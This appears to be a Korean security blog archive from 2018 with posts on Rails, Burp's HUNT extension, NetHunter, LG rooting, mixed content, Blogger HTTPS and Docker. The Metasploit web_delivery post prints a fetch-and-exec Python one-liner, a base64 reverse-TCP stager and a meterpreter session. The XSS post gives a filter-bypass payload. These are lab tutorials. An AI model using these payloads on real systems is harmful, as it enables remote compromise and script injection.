4/30/2018

Rails development 환경에서 error 정보 줄이기


rails application은 기본적으로 application 실행 시 development, test, production와 같이 실행 환경을 지정할 수 있습니다. 각각 실행 환경별로 디버그, 에러 처리 여부 등 환경과 처리 방식에 대해 결정할 수 있습니다.

기본적으로 rails s 를 통해 앱을 실행하게 되면 development로 동작하는데. development는 오류 정보에 대해 상세하게 노출해줍니다.

개발 환경이지만 오류정보는 안 나타나는게 좋긴하다.


각각 환경에 대한 간단한 트릭으로 자세한 오류가 나타나지 않도록 바꿀 수 있습니다.

#> vim config/environments/development.rb
config.consider_all_requests_local = false #true => false로 변경


config/environments에는 각각 환경별로 test.rb development.rb, production.rb 파일이 존재하고, 이를 이용해서 환경 단위의 세팅이 가능합니다.
Share: | Coffee Me:

4/19/2018

BugCrowd HUNT - 버그 바운티를 위한 Burp Extension

Data Driven web hacking Manual testing. 데이터를 기반으로 웹 해킹에 대한 테스팅...

오늘은 유명한 버그바운티 사이트 중 하나인 BugCrowd에서 만들고 배포하는 HUNT에 대한 이야기를 할까 합니다.
https://github.com/bugcrowd/HUNT


Hunt?

BugCrowd에서 만든 Bug hunting을 도와주는 Extension으로 분석에 많이 사용되는 Burp, ZAP에 확장 기능으로 설치할 수 있습니다.
자동화된 스캔은 아니며, Proxy를 통해 수집되는 데이터 중 각 공격 벡터에서 많이 쓰이는 파라미터들을 식별해서 알려줍니다.

기본적으로 정의된 데이터 이외에도 테스터가 직접 선정해서 넣어둘 수 있습니다.

제가 이해한바로 한마디로 정리하면..

"공격에 많이 사용되는 파라미터를 식별해서 수동으로 테스트할 수 있도록 제공해준다."


일 것 같습니다. 버그바운티에선 스캐너 같은 자동화 도구 사용이 어렵기에, 이 점을 잘 반영한 것 같네요.

Install Burp..

Burp 에 설치하는 내용으로 작성합니다. ZAP은 사용하시는 분이 있으시다면 직접 해보시길!
우선 github에서 클론을 떠줍니다.

#> git clone https://github.com/bugcrowd/HUNT

구조를 보면

.
├── Burp
│   ├── conf
│   │   ├── checklist.json
│   │   ├── issues.json
│   │   ├── owasptg.json
│   │   └── wahh.json
│   ├── hunt_methodology.py
│   ├── hunt_scanner.py
│   └── lib
│       ├── __init__.py
│       ├── close_tab.py
│       ├── data.py
│       ├── issue_listener.py
│       ├── issues.py
│       ├── link_listener.py
│       ├── menu_action_listener.py
│       ├── message_controller.py
│       ├── methodology_settings_action.py
│       ├── methodology_tsl.py
│       ├── methodology_view.py
│       ├── scanner_issue.py
│       ├── scanner_table_listener.py
│       ├── scanner_table_model.py
│       ├── scanner_table_models.py
│       ├── settings_action.py
│       ├── tsl.py
│       └── view.py
├── README.md
├── ZAP
│   └── scripts
│       └── passive
│           ├── CMDi.py
│           ├── Debug & Logic Parameters.py
│           ├── File Inclusion.py
│           ├── IDOR.py
│           ├── SQLi.py
│           ├── SSRF.py
│           └── SSTI.py
├── images
│   ├── logo.png
│   ├── methodology.png
│   └── scanner.png
├── license
└── slides
    ├── AppSecUSA 2017 - HUNT.pdf
    ├── DEF CON 25 - HUNT.pdf
    └── NBT4 - HUNT.pdf
   
Burp, ZAP 관련 코드와 공통으로 사용되는 라이브러리 코드가 있습니다.
지금은 Burp에 설치하는 것이니 hunt_methodology.py, hunt_scanner.py 가 중점적으로 사용됩니다.

각각 파이썬 코드에 대한 기능(?)은 아래에서 설명드리도록 하겠습니다.

아.. 그리고 python 기반 Extension이기 때문에 jython이 필요합니다.
(어차피 대다수 Extension 이 jython, jruby 쓰는 경우가 많으니 세팅해두는게 정신건강에 이롭습니다. )


Extension에서 각각 hunt_methodology.py, hunt_scanner.py를 로드해줍니다. 두 파일은 별개의 모듈로 동작하기 떄문에 필요에 따라 설치해주시면 될 것 같습니다.

HUNT Scanner

Scanner는 HUNT에 대해 설명드렸던 바로 그 파라미터에 대해 체크해주는 기능입니다. 프록시를 통해 수집된 많은 데이터 중 보편적으로 공격에 잘 사용되는 파라미터 명과 동일하거나, 유사한 경우 별도의 탭쪽으로 넘겨주어 분석가가 직접 보고 판단할 수 있도록 유도해줍니다. 저는 대체로 프록시와 Flow 확장기능쪽 이력 기준으로 많이 보는데, HUNT의 경우 필요한 파라미터 위주로 우선적으로 볼 수 있어 많은 로그에서 놓치는 부분은 조금 줄 것 같습니다.

좌측 탭으로 부터 공격 벡터별 주요 파라미터를 식별하고, 우측에서 Request/Response를 봅니다.
Repeater로 불러서 테스트하면 굿

사실 작은 사이트 하나만 보는 경우에는 기껏해야 몇만개 정도 History이니 눈으로 볼만한데, 규모가 커지고 대상이 많아 질수록 집중력은 떨어지고, 놓치는 부분들이 생기기 마련이죠.
이를 어느정도 잡아줄 수 있다는 것 만으로도 이 확장 기능의 가치가 있다고 생각합니다 :)

Advisory 탭을 통해서 CheatSheet나 방법론 등도 바로 링크가 가능합니다.

HUNT Methodology

어찌보면 사이드 기능인 것 같지만, 플로우나 방법을 정리하면서 봐야하는 케이스의 경우 유용하게 쓰일 것 같습니다. 복잡한 시스템을 진단하다보면 뭐가뭔지 헷갈리기 때문에 플로우나 내용, 이력등을 정리해서 보면서 같이 보는데,
이런 경우 Methodology쪽으로 정리해두면, 같이 볼 수 있어서 조금은 편할 것 같습니다. (물론 메모 자체의 기능은 다른 어플리케이션이 압도적으로 좋겠지요)


다만 Bugs 탭의 경우 아직 기능 파악을 하지 못했는데, 추측컨데 HUNT로 부터 데이터를 받아서 나타내질 것 같은데요, 그렇다면 연결지어 보기에 좋을 것 같네요.

Conclusion

광범위한 타겟을 대상으로 하는 헌터들이나 많은 서비스들을 상시로 진단할 수 있는 권한이 있는 분석가에게는 쓸만한 확장 기능이지 않을까 싶습니다. 물론 누구나에게 유용하겠지만, 개인적인 관점으로는 그렇습니다..

저 툴을 바로 쓰는 것 보단, 노하우.. 즉 경험을 녹여서 옵션을 반영하면 훨씬 좋은 도구가 될 것 같습니다. 경험과 센스, 그리고 이를 보조해주는 도구로 재미있고 지루한 분석 시간을 알차게 보내봅시다 ;)


Share: | Coffee Me:

4/14/2018

Metasploit web delivery 모듈을 이용한 Command line에서 meterpreter session 만들기


어떤 방법이던(취약점, 피싱, 물리적 접근?!) metasploit을 사용하지 않고 쉘 권한을 얻었을 때 metasploit 과 연결하려면 어떻게 해야할까요? venom으로 만든 페이로드를 실행해서 연결할 수도 있고, 다른 취약점을 발생시키든 여러가지 방법이 있을겁니다.

오늘은 그러한 방법중에 하나이며, 굉장히 쉽게 세션을 열 수 있는 방법인 web delivery 모듈에 대한 이야기를 하려합니다.


Web delivery?

Web delivery는 metasploit에서 간단하게 커맨드 라인으로 Metasploit과 세션연결을 만들어 줄 수 있는 모듈입니다.

만들어진지는 조금 된 모듈이지만, 생각보다 국내에서 소개한 자료는 없는 것 같네요.
동작 플로우를 살펴보면.. 이런 구조입니다.

모듈 실행 시 웹 서버가 하나 동작하고, 해당 웹 페이지로 접근한 사용자는 Delivery 모듈로부터 Metasploit Sessions을 받습니다.



Sessions을 받는 과정은 아래에서 한번 더 이야기드리겠지만, Socket connection을 통해 payload 데이터를 받아 바로 메모리상에서 띄웁니다.

아래는 모듈 관련 옵션입니다. Exploit target 부분은 숙지하시면 유용합니다.

Module options
SRVHOST: Binding할 호스트입니다.
SRVPORT: Binding할 포트입니다.
URIPATH: 쉘을 전달해줄 때 접근해야할 URL 주소

Exploit Target
Target 0 : python
Target 1 : php
Target 2 : psh
Target 3 : Regsvr32
Target 4 : phs(Binary)

How to use?

we delivery 모듈을 로드한 후 옵션을 보면,, 바로 위에서 말씀드린 내용이 있습니다.

HAHWUL (Sessions: 0 Jobs: 0) use exploit/multi/script/web_delivery
HAHWUL (Sessions: 0 Jobs: 0) exploit(multi/script/web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  3001             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                no        The URI to use for this exploit (default is random)


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python


일반적인 Exploit, Auxiliary 모듈과 유사하지만 Exploit target 부분에 Python, powershell 등 쉘 종류가 추가됩니다. 이는 타겟에서 명령어로 실행할 환경에 대한 설정이며 윈도우의 경우 powershell 쪽이 깔끔할 것이고, 나머지는 python이 보편적일 것 같습니다. 요즘은 워낙 파이썬 라이브러리가 많고 사용되는 곳이 많다보니 기본적으로 python 이 깔려있는 곳도 많습니다. 대표적으로 호스팅서버도 비슷하구요.

각각 옵션들 세팅을 해주시고(미리했어요) 실행해보면 ...

HAHWUL (Sessions: 0 Jobs: 0) exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
HAHWUL (Sessions: 0 Jobs: 1) exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:3001/
[*] Local IP: http://172.17.0.2:3001/
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:3001/');exec(r.read());"
[*] 172.17.0.1       web_delivery - Delivering Payload

각 Target에 맞는 Command line 명령을 제공해줍니다. 저는 python 코드입니다.

python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:3001/');exec(r.read());"

타겟 시스템에서 직접 명령어로 코드를 실행해보면 정상적으로 Meterpreter session이 생성됩니다.

root@a22b7976eb74:/# python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:3001/');exec(r.read());"


HAHWUL (Sessions: 0 Jobs: 1) exploit(multi/script/web_delivery) >
[*] 172.17.0.1       web_delivery - Delivering Payload
[*] 127.0.0.1        web_delivery - Delivering Payload
[*] Sending stage (50192 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:39560) at 2018-04-14 22:15:52 +0000

HAHWUL (Sessions: 1 Jobs: 1) exploit(multi/script/web_delivery) > sessions -l

Active sessions
===============

  Id  Name  Type                       Information  Connection
  --  ----  ----                       -----------  ----------
  1         meterpreter python/python               127.0.0.1:4444 -> 127.0.0.1:39560 (127.0.0.1)

Payload..

아래 코드를 타고 쭉 넘어가면 무엇이 있을까 궁금해졌습니다

python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:3001/');exec(r.read());"

urllib 로드해서 web delivery 모듈이 있는 페이지고 접근해서 데이터를 읽어와 실행하는데요, 직접 접근해서 보면 이런 코드가 넘어옵니다.

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: close
Server: Apache
Content-Length: 446

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

base64를 풀어보면...

import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('127.0.0.1',4444))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s}

이런식으로 payload handler(4444 포트)로 다시 접근해서 데이터를 받아 명령행으로 넘깁니다.

Share: | Coffee Me:

Android 4.4(KitKat)에서 NetHunter 설치하기

간만에 테스트폰 한대에 넷헌터나 깔아서 놀아볼까 하고 설치하려고 보니.. 버전적인 문제가 생겼었습니다. 바로 넷헌터가 공식적으로 롤리팝 이상부터 지원을하는데.. 제 대다수 테스트 기기들이 그 아래 버전이 많아 문제가 될 가능성이 보였습니다.

https://www.offensive-security.com/kali-linux-nethunter-download/

그래서.. 구글링 좀 하다보니 xda에 하위 버전에서 설치할 수 있는 스크립트 짜둔분이 계셔서 내용 확인 후 진행, 결론적으로 문제없이 설치했었습니다.

별다른 내용은 아니지만, 글로 풀어봅니다.

1. Download nethunter.sh, push to android

xda 링크에서 다운로드 경로 찾아서 직접 받으셔도 되고 아래 링크에서 참고하셔서 받으셔도 됩니다.

XDA
https://forum.xda-developers.com/android/general/kali-nethunter-android-device-t3596625

Direct
https://www.androidfilehost.com/?fid=890129502657588239

다운받은 파일(Kali_Nethunter_Universal-v5.zip)은 압축 파일이며 nethunter.sh라는 설치 스크립트와 busybox, 각종 테스팅용 앱들이 포함되어 있는 디렉토리가 있습니다.

#> adb push Kali_Nethunter_Universal-v5.zip /sdcard

or push directory..

2. Unzip and run command

압축 푼 디렉토리를 바로 넣어주셨다면 굳이 풀 필요는 없을 것이고, zip 파일만 넣어주셨다면 파일관리자 등을 통해 압축을 풀어줍니다.

adb나 터미널앱, ssh 등으로 디바이스 터미널에 접근 후 압축 푼 디렉토리로 이동합니다.

#> cd /sdcard/kali/Kali_Nethunter_Universal-v5/install_nh
#> ls
app  busybox  nethunter.sh

실행권한 주고 실행해보면...

#> chmod 777 nethunter.sh ; ./nethunter.sh

tmp-mksh: ./nethunter.sh: can't execute: Permission denied

?? 퍼미션 에러가 납니다. 혹시나하고 다시 해줘도.. 동일하네요

#> chmod 777 nethunter.sh
#> ll
drwxrwx--- root     sdcard_r          2018-04-13 22:29 app
drwxrwx--- root     sdcard_r          2018-04-13 22:29 busybox
-rw-rw---- root     sdcard_r     2460 2018-04-13 22:29 nethunter.sh

정확한 이유는 모르겠으나.. 그냥 꼼수로 해결합시다.

#> cat nethunter.sh | /system/bin/sh

파일 읽어서 sh로 넘겨줍시다.

설치가 잘 됩니다 :)

3. Install chroot kali

이제 각종 앱이 깔렸으니 폰에서 확인해보면 NetHunter 앱이 존재합니다. 이친구가 넷헌터의 핵심이고 여러 앱과 기능을 포함하고 있습니다. 대표적으로는 msf 서버 돌리던가, wifi 크랙 등등 여러가지요.

기능 사용을 위해서는 추가 기능 설치가 필요한데요. 이는 kali chroot 메뉴를 통해 가능합니다.



여기서 문제가 하나 발생하는데요, 해당 부분 설치 시 로컬에 있는 kalifs 파일, 없을 경우 원격지에서 받아서 설치할 수 있도록 제공되는데요, 이 과정에서 현재 원격지 주소가 동작하지 않습니다. 그래서 kalifs를 받아올 수 없습니다.

이 경우 직접 받아서 폰에 넣어준 후 설치하시면 됩니다.

넷헌터 빌드 페이지로 접근해서 아키텍쳐에 맞게 kalifs를 하나 받아줍니다. (대체로 arm)
https://build.nethunter.com/kalifs/kalifs-latest/

그 다음 /sdcard 하위에 파일을 위치시킨 후 설치해주시면 되는데요, 꼭 /sdcard 하위에 kalifs-full.tar.xz 라는 이름으로 지정해줘야합니다.

그냥 쉘에서 처리하면..

#> cd /sdcard
#> wget https://build.nethunter.com/kalifs/kalifs-latest/kalifs-armhf-full.tar.xz
#> mv kalifs-armhf-full.tar.xz kalifs-full.tar.xz

설치가 끝나면 넷헌터 사용이 가능합니다 :)

장난감들이 많군요, 떄에 따라 유용하게 사용할 수 있을 것 같네요.

Share: | Coffee Me:

4/10/2018

G3 시리즈 루팅 스크립트 살펴보기(LG Root Script.bat )

최근에 예전에 쓰던 폰 하나를 루팅했습니다. xda 뒤적이다가 간단한 스크립트 발견했고, 보아하니 해당 스크립트로 루팅한분들이 좀 계셔서 제 G3 A를 루팅했죠.
(비하인드가 있는 폰이지요.. 하핳, 부활한 폰..)

진행 과정 중 USB 디버깅이 자꾸 풀려서 스크립트 보면서 필요한 부분 수정해가면서 했었는데, 보다보니 Exploit 코드 자체가 간단하길래 풀어서 글로 써봅니다. 

Analysis!

우선 해당 스크립트는 아래 글에 올라와있습니다. 


받아서 구조를 보면... 


adb와 busybox, supersu 바이너리 등이 있습니다. 

실제로 동작하는 부분은 스크립트(bat, sh 파일)랑 Send_Command.exe 정도이고, 나머지는 별다른거 없습니다. 

코드는 나중에 보고 동작 플로우를 보면 이렇습니다. 

1. USB 연결 후 스크립트 실행
2. /data/local/tmp에 busybox, supersu 바이너리 전달
3. 리부팅
4. 다운로드 모드 진입(전원+볼륨아래 => 로고 => 볼륨아래 + 볼륨 위)
5. 시리얼 포트 찾고, Send_Command.exe로 명령 전달
6. ENTER
7. sh /data/local/tmp/lg_root.sh dummy 1 /data/local/tmp/UPDATE-SuperSU-v2.46.zip /data/local/tmp/busybox
 => 여기서 lg_root.sh를 요약하면 supersu, busybox 설치 스크립트입니다. 
8. LEAVE
읭? 시리얼 포트로 그냥 명령을 실행하네요. 

뭔가 복잡한게 있을까 했지만.. 여기까지보면 정말 심플합니다. 
물론 Send_Command.exe까지 풀어서 보면 재미있겠지만, 요즘은 피로도가 높으니 적당히고 자렵니다. 혹시라도 더 보시고 재미있는 결과 공유하고 싶으시면 내용이던 링크던 댓글 남겨주시옵소서...





LG Root Script.bat

@echo off
echo ---------------------------------
echo LG Root - One click script
echo Written by avicohh
echo ---------------------------------
echo.
echo Please make sure that USB debugging is enabled, and LG drivers are installed.
echo.
echo Starting adb server..
adb.exe kill-server > nul
adb.exe start-server > nul
echo.
echo Waiting for device..
adb.exe wait-for-device
echo.
echo Device detected!
echo.
echo Pushing files..
adb.exe push busybox /data/local/tmp/ && adb.exe push lg_root.sh /data/local/tmp/ && adb.exe push UPDATE-SuperSU-v2.46.zip /data/local/tmp/
echo.
echo Rebooting..
adb reboot
echo.
echo Looking for LG serial port..
echo.
adb.exe wait-for-device
for /f "tokens=2*" %%a in ('reg query HKLM\hardware\devicemap\SERIALCOMM /v \Device\LG*ANDNETDIAG* 2^>nul ^| find "REG_SZ" 2^>nul') do set "comPath=%%~b"
if "%comPath%" == "" (
echo Serial port not found, please insert the phone manually into Download mode.
echo.
echo Disconnect the USB cable and turn off the phone.
echo Then press and hold the Volume Up button, and while you're doing that connect the USB cable again.
echo.
echo Waiting for device..
echo.
) else (
echo Phone found at %comPath%!
echo.
echo Rebooting into Download mode..
echo.
Send_Command.exe \\.\%comPath% < enterDownload | echo off
echo Waiting for device..
echo.
ping 127.0.0.1 -n 15 | echo off
)
set comPath=
:wait-for-download
for /f "tokens=2*" %%a in ('reg query HKLM\hardware\devicemap\SERIALCOMM /v \Device\LG*ANDNETDIAG* 2^>nul ^| find "REG_SZ" 2^>nul') do set "comPath=%%~b"
if "%comPath%" == "" goto wait-for-download
echo Phone found at %comPath%!
echo.
echo Rooting phone..
echo.
echo If you don't see the SuperSu installer script runs within about a minute,
echo then the root failed.
echo.
ping 127.0.0.1 -n 15
Send_Command.exe \\.\%comPath% < installRoot
echo.
echo Rebooting..
Send_Command.exe \\.\%comPath% < leaveDownload | echo off
echo.
echo Done!
pause > nul | echo Press any key to exit..
Share: | Coffee Me:

adb로 앱 설치 시 발생하는 Failure [INSTALL_FAILED_TEST_ONLY]

메모 차원으로 작성합니다.
앱 테스트를 하다보면.. 아래와 같은 에러가 발생하면서 앱이 설치되지 않는 경우들이 있습니다.

Failure [INSTALL_FAILED_TEST_ONLY]

AndroidManifest.xml에 testOnly 설정이 되어있는 경우 일반적인 앱 설치 명령으로는 설치되지 않습니다.

android:testOnly="true"

앱 코드를 빌드할 수 있는 상황이거나 리패키징하는 경우 AndroidManifest.xml에 testOnly를 해제하시면 말끔히 해결됩니다.

android:testOnly="false"

Manifest 변경이 불가하다면 adb로 설치할 때 -t 옵션을 주어 test 모드로 설치할 수 있습니다.

#> add push ~.apk /sdcard
#> adb shell
#> pm install -t /sdcard/~.apk

Share: | Coffee Me:

4/07/2018

HTTPS/HTTP Mixed Content (섞인 동적 콘텐츠 [File] 를 읽어오는 것을 차단했습니다.)

어제 블로그를 https로 변경 후 소소한 문제가 찾아왔습니다.
바로 js, css 등 리소스들의 주소가 https로 강제 치환되고 덕분에 https가 없는 곳에서 불러온 파일들은 로드되지 않아 일부 기능이 동작하지 않았었죠.

물론 크게 지장있는 부분은 아니라 천천히 수정하겠지만..어떤것이 문제였고 어떻게 해결해야할지 작성해봅니다.

Problem

서론에서 이야기드렸듯이 https 강제 치환된 부분은이런 구문입니다.

<script src='http://vaha.hahwul.com/js/highlight.pack.js'/> 
<link href='http://vaha.hahwul.com/js/styles/railscasts.css' rel='stylesheet'/>

실제로 로드되는 페이지를 보면 이렇게 변합니다.

<script src='//vaha.hahwul.com/js/highlight.pack.js'/> 
<link href='//vaha.hahwul.com/js/styles/railscasts.css' rel='stylesheet'/>

// 은 Protocol-Relative URL로 현재 쓰고있는 프로토콜을 명시합니다. 현재 접속한 페이지는 https 이니 https://와 동일해집니다.

그래서.. Javascript로 head 태그 밑에 script, link 태그를 집어넣어 해결하려 했습니다.

    var hhscript = document.createElement('script');
    hhscript.id = 'highlight.js';
    hhscript.src = 'http://vaha.hahwul.com/js/highlight.pack.js';
    document.head.appendChild(hhscript);
    
    var hhcss = document.createElement('link');
    hhcss.id = 'highlight.css';
    hhcss.src = 'http://vaha.hahwul.com/js/styles/railscasts.css';
    hhcss.rel = 'stylesheet';
    document.head.appendChild(hhcss);

물론 결과는 실패지만, 방법 자체는 맞았습니다. http://로 요청하게 되었는데, 브라우저단에서 에러가 발생합니다.

섞인 동적 콘텐츠 "http://vaha.hahwul.com/js/highlight.pack.js"를 읽어오는 것을 차단했습니다.[더 알아보기]
bypass-xss-protection-event-handler.html:20:4
“http://vaha.hahwul.com/js/highlight.pack.js” 소스의 <script> 로딩을 실패하였습니다.
bypass-xss-protection-event-handler.html:1
“https://vaha.hahwul.com/js/highlight.pack.js” 소스의 <script> 로딩을 실패하였습니다.


더 알아보기로 확인해보니.. Mixed Content 문제라고 합니다.
https://developer.mozilla.org/ko/docs/Security/MixedContent

Mixed Content

https 웹 페이지에 포함된 http 콘텐츠들을 Mixed Content라고 부릅니다. 이런 콘텐츠들은 보안을 위해 사용한 https에 큰 허점이 됩니다. 예를들면.. 일부 http 페이지를 통해서 SSL로 보호받던 사용자 쿠키나 세션 데이터가 노출될 수도 있고, 중요한 페이지가 http로 통신하는 경우 스니핑 환경에서 공격자가 데이터를 가져가거나, 변조하고, 또 다른 취약점에도 사용할 수 있게 됩니다. 그래서 https 도메인에 http 파일들이 있으면 차단하게 됩니다.


물론 모든것을 차단하는건 아닙니다. Mixed Active Content라고 불리는 것들, 즉 HTML, Javascript와 관련된 파일들만 차단합니다. 왜냐하면.. 때에 따라 이미지나 영상은 http 통신을 사용해야하기 떄문이죠. (느려서라곤 하나, 개인적인 견해로는 느린거 잘 모르겠습니다.)

#Mixed Passive/Display Content
이미지, 영상 등 사용자에게 스크립트, DOM 단에서 직접적으로 영향을 끼치지 않는 부분들입니다.

<audio> src
<img> src
<video> src
<object> subresources 


#Mixed Active Content
HTML, Javascript 등 DOM 구간에서 동작할 수 있는 컨텐츠이고 보안적으로도 문제삼는 부분이죠.

<script> src
<link> href
XMLHttpRequest: object requests
<iframe> src
CSS: @font-face, cursor, background-image 등 모두..
<object> data

Conclusion

결국은 Mixed Content를 방지하기 위해서 자동적으로 http를 https로 치환하는 작업을 Blogger 측에서 하고있는건데,
다른 도메인의 css니 js 등을 떙겨올 때 강제로 https로 변환됩니다. 서버에 올라가있는 파일들을 git쪽 cdn 서비스들을 쓰거나 google drive로 cdn 처럼 만들어서 사용해야겠네요.
Share: | Coffee Me:

4/05/2018

Bypass XSS Protection with fake tag and data: (가짜 태그와 data 구문을 이용한 XSS 우회기법)

퇴근길에 트위터보다가 재미있는 XSS 페이로드 찾아서 글 작성합니다.
요즘 바쁘고 두통도 심하고해서 신경 못쓰나 싶었는데, 또 이런글 보고 이러면 아픈것도 사라지네요. 자 빠르게 시작하죠.

XSS Payload : < script/"<a"/src=data:=".<a,[45].some(alert)>


제목 그대로 script 를 이용한 XSS 구문인데, 몇가지 트릭으로 필터링 규칙을 빠져나갑니다. 지난번에 썼던 글이랑 조금은 비슷한데요..
(https://www.hahwul.com/2018/03/bypass-xss-protection-event-handler.html)

우선 그림을 봅시다.

https://twitter.com/s0md3v/status/981465370736320513

Reflected XSS 할 때 <a 으로 <a>로 보이게 하여 src 필터링 규칙을 나가서(보통, a 태그의 href, src 등을 막진 않죠)

작성자가 src=data 부분이 왜 되는지 모르겠다고 하는데.. 일단 복잡하니깐 줄여봅시다.

문법을 최대한 줄여보면..

<script//src=data:,[45].some(alert)></script>

아!! src 주소를 data:로 해서 로컬로 준 후 스크립트 구문 자체를 값으로 넘겨줘서 실행하는 형태입니다. 

data: 구문으로 XSS 하던건 아래 링크 참고해주세요

그렇다면 data:로 값이 넘어간 [45].some(alert)  부분이 실제 실행되는 구간이고.. alert(45)와 결국은 동일한 결과입니다.(Array의 some 메소드로 호출)

[8].some
 => function some()

풀어서 다시보면 이런 형태라고 볼 수 있습니다.

<script src=data:[document_type] , alert(45)></script>

Test XSS


간단하게 파일을 만들어서 테스트해봅시다. 위 payload는 뒤쪽 스크립트 닫는 부분이 없는데, 이는 Reflected 되는 구간을 이용해서 강제로 붙여주는 것을 사용하기 위해서입니다.

<script/"<a"/src=data:=".<a,[45].some(alert)></script>



Awesome!

Reference

https://twitter.com/s0md3v/status/981465370736320513
Share: | Coffee Me:

구글 블로거 개인 도메인에 HTTPS 제공! (HTTPS support to custom domain on google blogger)

구글은 예전에 자사 블로그 서비스인 Blogger에 https 적용을 지원했습니다. 
이는 .blogspot.com 하위의 도메인만 가능했었는데, 최근 커스텀 도메인에 대해서도 https를 지원해주게 되었습니다.

급히 적용하고, 그 내용을 포스팅으로 공유드립니다. 
(시점은 작년 말~올 초쯤인 것 같은데, 늦게 알았네요 ㅜㅜ)

How to?

블로거 메뉴 > 기본 설정에 들어가시면 아래와 같이 https 적용 부분이 존재합니다. 이제는 커스텀 도메인에 대해서도 지원해준다고 이야기가 나오네요.


https를 지원으로 바꿔주시면 잠시후에 바로 적용됩니다. https redirection의 경우 http로 접근했을 때 강제적으로 https로 변경해주는 기능인데, 운영에 지장이 없는 선이면 변경하시는걸 추천드립니다. 

적용을 완료했고, 현재 보시는 화면과 같이 https가 적용되었습니다 :)


Conclusion

사실 개인적으로 인증서 구매해서 SSL 지원하려고 했는데, 구글신께서 지원해주셔서 제 입장에선 아주 나이스합니다. 

이참에 블로거 서비스 이용자들이 많아졌으면 하는 바램이네요. 


Share: | Coffee Me:

4/04/2018

도커 컨테이너(Docker Container)에 대한 쉘 권한과 접근에 대한 이야기

잠깐 시간내어 간단하게 글 작성합니다. docker 컨테이너 내부로 접근할 떄 보통 exec 명령으로 /bin/bash, /bin/sh를 호출하는 경우가 많습니다. 테스트 하다보니 권한 관련해서 좀 신기한게 있었네요. (물론 지나서 보면 별거 아니였습니다)

Execute shell on docker(not shell perm)


우선 docker 컨테이너 내 계정을 하나 만들어주는데, 쉘 권한을 제거해줍니다.
root@5331c196387b:/# useradd --shell /bin/false dtest

passwd 파일보면 쉘이 빠져있습니다.

root@5331c196387b:/# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[….]
dtest:x:1001:1001::/home/dtest:/bin/false

일반 리눅스의 경우 계정에 해당하는 쉘이 없기 떄문에 su로 유저를 변경하여도 쉘을 가져갈 수 없습니다.

docker 컨테이너의 경우 docker에서 직접 실행할 프로그램을 지정해 줄 수 있기 때문에 계정 자체의 쉘 권한과는 관계없이 사용이 가능합니다.

> docker exec --user dtest -i -t 5331c196387b /bin/bash
dtest@5331c196387b:/$ whoami
dtest

Why?

개인적인 생각으론.. 위에서 이야기드린 쉘 권한은 무언가 직접적인 접근제어보단, 쉘에 접근했을 때 내려주는 프로그램의 경로를 /bin/false과 같이 의미없는 곳으로 전달해서 막는 방식입니다.

예를들면 A라는 계정에 위와 같이 /bin/false 로 주고 ssh를 통해 접근하였을 때 결과가 접근 자체가 안되는 것이 아닌 접근은 되지만 쉘을 받지 못해서 아무것도 처리 못하는 상황이 되는것입니다.

다시 docker 이야기로 오면, docker 컨테이너 내부에선 su나 ssh 등으로 로그인을 성공하여도 /bin/false를 주기 때문에 쉘을 실행할 수 없습니다. 그렇지만 docker 호스트에서 쉘을 내리는 경우 실행할 프로그램을 직접 지정해 줄 수 있기 떄문에 쉘 권한과 관계없이 가능해집니다.


Share: | Coffee Me: